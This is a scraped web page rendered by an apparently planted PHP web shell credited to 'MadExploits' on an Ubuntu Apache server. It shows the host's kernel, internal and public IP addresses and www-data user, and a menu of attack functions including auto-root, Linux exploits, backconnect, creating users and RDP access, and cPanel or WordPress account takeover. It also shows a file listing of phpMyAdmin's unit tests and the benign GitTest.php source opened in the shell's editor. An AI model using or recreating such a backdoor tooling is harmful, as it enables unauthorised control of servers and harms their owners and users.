Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.18.110.187
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Stubs
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
_data
[ DIR ]
drwxr-xr-x
AbstractTestCase.php
5.3
KB
-rw-r--r--
ApplicationTest.php
1.63
KB
-rw-r--r--
BookmarkTest.php
3.56
KB
-rw-r--r--
BrowseForeignersTest.php
6.29
KB
-rw-r--r--
CacheTest.php
3.02
KB
-rw-r--r--
CharsetsTest.php
5.3
KB
-rw-r--r--
ConfigTest.php
31.22
KB
-rw-r--r--
ConsoleTest.php
1.38
KB
-rw-r--r--
CoreTest.php
23.3
KB
-rw-r--r--
CreateAddFieldTest.php
19.21
KB
-rw-r--r--
DatabaseInterfaceTest.php
29.52
KB
-rw-r--r--
DbTableExistsTest.php
2.9
KB
-rw-r--r--
EncodingTest.php
5.89
KB
-rw-r--r--
EnvironmentTest.php
478
B
-rw-r--r--
FieldHelper.php
1.09
KB
-rw-r--r--
FieldMetadataTest.php
3.54
KB
-rw-r--r--
FileListingTest.php
3.54
KB
-rw-r--r--
FileTest.php
2.02
KB
-rw-r--r--
FlashMessagesTest.php
1.96
KB
-rw-r--r--
FontTest.php
6.13
KB
-rw-r--r--
FooterTest.php
5.19
KB
-rw-r--r--
GitTest.php
15.08
KB
-rw-r--r--
HeaderTest.php
11.05
KB
-rw-r--r--
IndexColumnTest.php
2.73
KB
-rw-r--r--
IndexTest.php
4.18
KB
-rw-r--r--
InsertEditTest.php
80.72
KB
-rw-r--r--
IpAllowDenyTest.php
6.62
KB
-rw-r--r--
LanguageTest.php
8.44
KB
-rw-r--r--
LinterTest.php
3.57
KB
-rw-r--r--
ListDatabaseTest.php
2.26
KB
-rw-r--r--
LoggingTest.php
570
B
-rw-r--r--
MenuTest.php
1.63
KB
-rw-r--r--
MessageTest.php
14.44
KB
-rw-r--r--
MimeTest.php
990
B
-rw-r--r--
NormalizationTest.php
15.38
KB
-rw-r--r--
OpenDocumentTest.php
1.67
KB
-rw-r--r--
OperationsTest.php
2.19
KB
-rw-r--r--
ParseAnalyzeTest.php
2.1
KB
-rw-r--r--
PdfTest.php
1.4
KB
-rw-r--r--
PluginsTest.php
4.69
KB
-rw-r--r--
ProfilingTest.php
730
B
-rw-r--r--
ResponseRendererTest.php
1.71
KB
-rw-r--r--
SanitizeTest.php
6.99
KB
-rw-r--r--
ScriptsTest.php
3.66
KB
-rw-r--r--
SessionTest.php
741
B
-rw-r--r--
ShowGrantsTest.php
1.78
KB
-rw-r--r--
SqlQueryFormTest.php
5.85
KB
-rw-r--r--
SqlTest.php
30.76
KB
-rw-r--r--
StorageEngineTest.php
18.19
KB
-rw-r--r--
SystemDatabaseTest.php
4.72
KB
-rw-r--r--
TemplateTest.php
5.61
KB
-rw-r--r--
TransformationsTest.php
10.52
KB
-rw-r--r--
TwoFactorTest.php
21.18
KB
-rw-r--r--
TypesByDatabaseVersionTest.php
31.86
KB
-rw-r--r--
TypesTest.php
20.45
KB
-rw-r--r--
UniqueConditionTest.php
13.26
KB
-rw-r--r--
UrlRedirectorTest.php
1.48
KB
-rw-r--r--
UrlTest.php
8.56
KB
-rw-r--r--
UserPasswordTest.php
2.5
KB
-rw-r--r--
UserPreferencesTest.php
12.02
KB
-rw-r--r--
UserPrivilegesFactoryTest.php
5.82
KB
-rw-r--r--
UtilTest.php
55.46
KB
-rw-r--r--
VersionInformationTest.php
9.62
KB
-rw-r--r--
VersionTest.php
1.25
KB
-rw-r--r--
ZipExtensionTest.php
5.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GitTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests; use PhpMyAdmin\Git; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\Group; use PHPUnit\Framework\Attributes\Medium; use function file_put_contents; use function mkdir; use function mt_getrandmax; use function random_int; use function rmdir; use function sys_get_temp_dir; use function unlink; use const DIRECTORY_SEPARATOR; #[CoversClass(Git::class)] #[Group('git-revision')] #[Medium] class GitTest extends AbstractTestCase { protected Git $object; protected string $testDir; /** * Sets up the fixture, for example, opens a network connection. * This method is called before a test is executed. */ protected function setUp(): void { parent::setUp(); $this->setProxySettings(); $this->testDir = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'gittempdir_' . random_int(0, mt_getrandmax()) . DIRECTORY_SEPARATOR; $this->object = new Git(true, $this->testDir); unset($_SESSION['git_location']); unset($_SESSION['is_git_revision']); mkdir($this->testDir); } /** * Tears down the fixture, for example, closes a network connection. * This method is called after a test is executed. */ protected function tearDown(): void { rmdir($this->testDir); parent::tearDown(); unset($this->object); } /** * Test for isGitRevision */ public function testIsGitRevision(): void { $_SESSION['git_location'] = '.cachedgitlocation'; $_SESSION['is_git_revision'] = true; $gitLocation = ''; self::assertTrue($this->object->isGitRevision($gitLocation)); self::assertFalse($this->object->hasGitInformation()); self::assertSame('.cachedgitlocation', $gitLocation); } /** * Test for isGitRevision */ public function testIsGitRevisionSkipped(): void { $this->object = new Git(false); self::assertFalse( $this->object->isGitRevision($gitLocation), ); } /** * Test for isGitRevision */ #[Group('git-revision')] public function testIsGitRevisionLocalGitDir(): void { self::assertFalse( $this->object->isGitRevision(), ); self::assertFalse($this->object->hasGitInformation()); unset($_SESSION['git_location']); unset($_SESSION['is_git_revision']); mkdir($this->testDir . '.git'); self::assertFalse( $this->object->isGitRevision(), ); self::assertFalse($this->object->hasGitInformation()); unset($_SESSION['git_location']); unset($_SESSION['is_git_revision']); file_put_contents($this->testDir . '.git/config', ''); self::assertTrue($this->object->isGitRevision()); self::assertFalse($this->object->hasGitInformation()); unlink($this->testDir . '.git/config'); rmdir($this->testDir . '.git'); } /** * Test for isGitRevision */ #[Group('git-revision')] public function testIsGitRevisionExternalGitDir(): void { file_put_contents($this->testDir . '.git', 'gitdir: ' . $this->testDir . '.customgitdir'); self::assertFalse( $this->object->isGitRevision(), ); self::assertFalse($this->object->hasGitInformation()); unset($_SESSION['git_location']); unset($_SESSION['is_git_revision']); mkdir($this->testDir . '.customgitdir'); self::assertTrue($this->object->isGitRevision()); self::assertFalse($this->object->hasGitInformation()); unset($_SESSION['git_location']); unset($_SESSION['is_git_revision']); file_put_contents($this->testDir . '.git', 'random data here'); self::assertFalse( $this->object->isGitRevision(), ); self::assertFalse($this->object->hasGitInformation()); unlink($this->testDir . '.git'); rmdir($this->testDir . '.customgitdir'); } /** * Test for checkGitRevision packs folder */ #[Group('git-revision')] public function testCheckGitRevisionPacksFolder(): void { mkdir($this->testDir . '.git'); file_put_contents($this->testDir . '.git/config', ''); $commit = $this->object->checkGitRevision(); self::assertNull($commit); self::assertFalse($this->object->hasGitInformation()); file_put_contents($this->testDir . '.git/HEAD', 'ref: refs/remotes/origin/master'); $commit = $this->object->checkGitRevision(); self::assertNull($commit); file_put_contents( $this->testDir . '.git/packed-refs', '# pack-refs with: peeled fully-peeled sorted' . "\n" . 'c1f2ff2eb0c3fda741f859913fd589379f4e4a8f refs/tags/4.3.10' . "\n" . '^6f2e60343b0a324c65f2d1411bf4bd03e114fb98' . "\n" . '8d660283c5c88a04bac7a2b3aa9ad9eaff0fd05e refs/remotes/origin/master' . "\n", ); mkdir($this->testDir . '.git/objects/pack', 0777, true);//default = 0777, recursive mode $commit = $this->object->checkGitRevision(); // Delete the dataset rmdir($this->testDir . '.git/objects/pack'); rmdir($this->testDir . '.git/objects'); unlink($this->testDir . '.git/packed-refs'); unlink($this->testDir . '.git/HEAD'); unlink($this->testDir . '.git/config'); rmdir($this->testDir . '.git'); if ( $commit === null && ! isset($_SESSION['PMA_VERSION_REMOTECOMMIT_8d660283c5c88a04bac7a2b3aa9ad9eaff0fd05e']) ) { self::markTestSkipped('Unable to get remote commit information.'); } self::assertIsArray($commit); self::assertSame('8d660283c5c88a04bac7a2b3aa9ad9eaff0fd05e', $commit['hash']); self::assertSame('master', $commit['branch']); self::assertSame( 'Update po files' . "\n\n" . '[ci skip]' . "\n\n" . 'Signed-off-by: phpMyAdmin bot <bot@phpmyadmin.net>', $commit['message'], ); self::assertTrue($commit['is_remote_commit']); self::assertTrue($commit['is_remote_branch']); self::assertSame('phpMyAdmin bot', $commit['author']['name']); self::assertSame('bot@phpmyadmin.net', $commit['author']['email']); self::assertSame('2023-05-14T00:19:49Z', $commit['author']['date']); self::assertSame('phpMyAdmin bot', $commit['committer']['name']); self::assertSame('bot@phpmyadmin.net', $commit['committer']['email']); self::assertSame('2023-05-14T00:19:49Z', $commit['committer']['date']); } /** * Test for checkGitRevision packs folder */ #[Group('git-revision')] public function testCheckGitRevisionRefFile(): void { mkdir($this->testDir . '.git'); file_put_contents($this->testDir . '.git/config', ''); $commit = $this->object->checkGitRevision(); self::assertNull($commit); self::assertFalse($this->object->hasGitInformation()); file_put_contents($this->testDir . '.git/HEAD', 'ref: refs/remotes/origin/master'); mkdir($this->testDir . '.git/refs/remotes/origin', 0777, true); file_put_contents( $this->testDir . '.git/refs/remotes/origin/master', 'c1f2ff2eb0c3fda741f859913fd589379f4e4a8f', ); mkdir($this->testDir . '.git/objects/pack', 0777, true);//default = 0777, recursive mode $commit = $this->object->checkGitRevision(); self::assertNull($commit); self::assertFalse($this->object->hasGitInformation()); unlink($this->testDir . '.git/refs/remotes/origin/master'); rmdir($this->testDir . '.git/refs/remotes/origin'); rmdir($this->testDir . '.git/refs/remotes'); rmdir($this->testDir . '.git/refs'); rmdir($this->testDir . '.git/objects/pack'); rmdir($this->testDir . '.git/objects'); unlink($this->testDir . '.git/HEAD'); unlink($this->testDir . '.git/config'); rmdir($this->testDir . '.git'); } /** * Test for checkGitRevision with packs as file */ #[Group('git-revision')] public function testCheckGitRevisionPacksFile(): void { mkdir($this->testDir . '.git'); file_put_contents($this->testDir . '.git/config', ''); $commit = $this->object->checkGitRevision(); self::assertNull($commit); self::assertFalse($this->object->hasGitInformation()); file_put_contents($this->testDir . '.git/HEAD', 'ref: refs/remotes/origin/master'); $commit = $this->object->checkGitRevision(); self::assertNull($commit); file_put_contents( $this->testDir . '.git/packed-refs', '# pack-refs with: peeled fully-peeled sorted' . "\n" . 'c1f2ff2eb0c3fda741f859913fd589379f4e4a8f refs/tags/4.3.10' . "\n" . '^6f2e60343b0a324c65f2d1411bf4bd03e114fb98' . "\n" . '8d660283c5c88a04bac7a2b3aa9ad9eaff0fd05e refs/remotes/origin/master' . "\n", ); mkdir($this->testDir . '.git/objects/info', 0777, true); file_put_contents( $this->testDir . '.git/objects/info/packs', 'P pack-faea49765800da462c70bea555848cc8c7a1c28d.pack' . "\n" . ' pack-.pack' . "\n" . "\n" . 'P pack-420568bae521465fd11863bff155a2b2831023.pack' . "\n" . "\n", ); $commit = $this->object->checkGitRevision(); // Delete the dataset unlink($this->testDir . '.git/objects/info/packs'); rmdir($this->testDir . '.git/objects/info'); rmdir($this->testDir . '.git/objects'); unlink($this->testDir . '.git/packed-refs'); unlink($this->testDir . '.git/HEAD'); unlink($this->testDir . '.git/config'); rmdir($this->testDir . '.git'); if ( $commit === null && ! isset($_SESSION['PMA_VERSION_REMOTECOMMIT_8d660283c5c88a04bac7a2b3aa9ad9eaff0fd05e']) ) { self::markTestSkipped('Unable to get remote commit information.'); } self::assertIsArray($commit); self::assertSame('8d660283c5c88a04bac7a2b3aa9ad9eaff0fd05e', $commit['hash']); self::assertSame('master', $commit['branch']); self::assertSame( 'Update po files' . "\n\n" . '[ci skip]' . "\n\n" . 'Signed-off-by: phpMyAdmin bot <bot@phpmyadmin.net>', $commit['message'], ); self::assertTrue($commit['is_remote_commit']); self::assertTrue($commit['is_remote_branch']); self::assertSame('phpMyAdmin bot', $commit['author']['name']); self::assertSame('bot@phpmyadmin.net', $commit['author']['email']); self::assertSame('2023-05-14T00:19:49Z', $commit['author']['date']); self::assertSame('phpMyAdmin bot', $commit['committer']['name']); self::assertSame('bot@phpmyadmin.net', $commit['committer']['email']); self::assertSame('2023-05-14T00:19:49Z', $commit['committer']['date']); } /** * Test for checkGitRevision */ public function testCheckGitRevisionSkipped(): void { $this->object = new Git(false); $commit = $this->object->checkGitRevision(); self::assertNull($commit); self::assertFalse($this->object->hasGitInformation()); } /** * Test for git infos in session */ public function testSessionCacheGitFolder(): void { $_SESSION['git_location'] = 'customdir/.git'; $_SESSION['is_git_revision'] = true; $gitFolder = ''; self::assertTrue($this->object->isGitRevision($gitFolder)); self::assertSame($gitFolder, 'customdir/.git'); } /** * Test that git folder is not looked up if cached value is false */ public function testSessionCacheGitFolderNotRevisionNull(): void { $_SESSION['is_git_revision'] = false; $_SESSION['git_location'] = null; $gitFolder = 'defaultvaluebyref'; self::assertFalse($this->object->isGitRevision($gitFolder)); // Assert that the value is replaced by cached one self::assertSame($gitFolder, null); } /** * Test that git folder is not looked up if cached value is false */ public function testSessionCacheGitFolderNotRevisionString(): void { $_SESSION['is_git_revision'] = false; $_SESSION['git_location'] = 'randomdir/.git'; $gitFolder = 'defaultvaluebyref'; self::assertFalse($this->object->isGitRevision($gitFolder)); // Assert that the value is replaced by cached one self::assertSame($gitFolder, 'randomdir/.git'); } /** * Test that we can extract values from Git objects */ public function testExtractDataFormTextBody(): void { $extractedData = $this->callFunction( $this->object, Git::class, 'extractDataFormTextBody', [ [ 'tree ed7fec263e1813887001855ddca9293479289180', 'parent 90543399991cdb294185f90e8ae1a45e059c31ab', 'author William Desportes <williamdes@wdes.fr> 1657717000 +0200', 'committer William Desportes <williamdes@wdes.fr> 1657717000 +0200', 'gpgsig -----BEGIN PGP SIGNATURE-----', ' ', ' iQIzBAABCgAdFiEExNkf3872tKPGU\/14kKDvG4JRqIkFAmLOwQgACgkQkKDvG4JR', ' qIn8Kg\/+Os5e3bFLEtd3q\/w3e4IfvR64rdadA4IUugd4pJvGqJHleJNBQ8PNqwjR', ' 9W0S9PQXAsul0XW5YtuLmBMGFFQDOab2ieix9CVA1w0D7quVQR8uLNb1Gln28NuS', ' 6b24Q4cAQlp5uOoKT3ohRBUtGmu8SXF8Q\/5BwPY1AuL1LqY6w6EwSsInPXK1Yq3r', ' RShxRXDhonKx3NqoCdRkWmAKkQrztWGGBI7mBG\/\/X0F4hSjsuwdpHBsl6yyri9p2', ' bJbyAI+xQ+rBHb0iFIoLbxj6G1EkEmpISl+4980uef24SwMVk9ZOfH8cAgBZ62Mf', ' xJ3f99ujhD9dvwCQivOwcEav+fPObiLC0EzfoqZgB7rTQdxUIu7WRpShZGwfuiEv', ' sBmvQcnZptYHi0Kk78fdzISCQcPBgCw0gGcv+yLOE3HuQ24B+ncCusYdxyJQqMSc', ' pm9vVHpwioufy5c7aBa05K7f2b1AhiZeVpT2t\/rboIYlIhQGY9uRNGX44Qtt6Oeb', ' G6aU8O7gS5+Wsj00K+uSvUE\/znxx7Ad0zVuFQGUAhd3cDp9T09+FIr4TOE+3Z4Pk', ' PlssVGVBdbaNaI0\/eV6fTa6B0hMH9mhmZhtHLXdsTw5xVySz7by5DZqZldydSFtk', ' tVuUPxykK6F0qY79IPBH8Unx8egIlSzKWfP0JpRd+otemBnTKWg=', ' =BVHc', ' -----END PGP SIGNATURE-----', '', 'Remove ignore config.inc.php for psalm because it fails the CI', '', 'Signed-off-by: William Desportes <williamdes@wdes.fr>', '', ], ], ); self::assertSame([ ['name' => 'William Desportes', 'email' => 'williamdes@wdes.fr', 'date' => '2022-07-13 14:56:40 +0200'], ['name' => 'William Desportes', 'email' => 'williamdes@wdes.fr', 'date' => '2022-07-13 14:56:40 +0200'], 'Remove ignore config.inc.php for psalm because ' . 'it fails the CI Signed-off-by: William Desportes <williamdes@wdes.fr>', ], $extractedData); } }
Close